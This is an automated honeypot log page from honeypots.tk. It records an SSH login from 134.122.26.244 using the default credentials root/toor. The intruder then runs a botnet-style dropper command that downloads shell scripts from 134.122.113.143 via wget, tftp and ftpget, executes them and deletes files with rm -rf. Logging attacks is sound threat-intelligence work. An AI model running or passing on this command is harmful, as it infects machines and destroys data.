honeypots.tk

Record Observations : 134.122.26.244 ssh Web script execution 134.122.26.244 L41NJVUHTTYSEX45

<< Back

134.122.26.244 client username 'DUP root' and password 'toor' entered
134.122.26.244 client command : 'cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://134.122.113.143/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 134.122.113.143 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 134.122.113.143; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 134.122.113.143 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *'
If you like, you can support
with your donations to us..

Donate

Author: Honeypots.tk Robot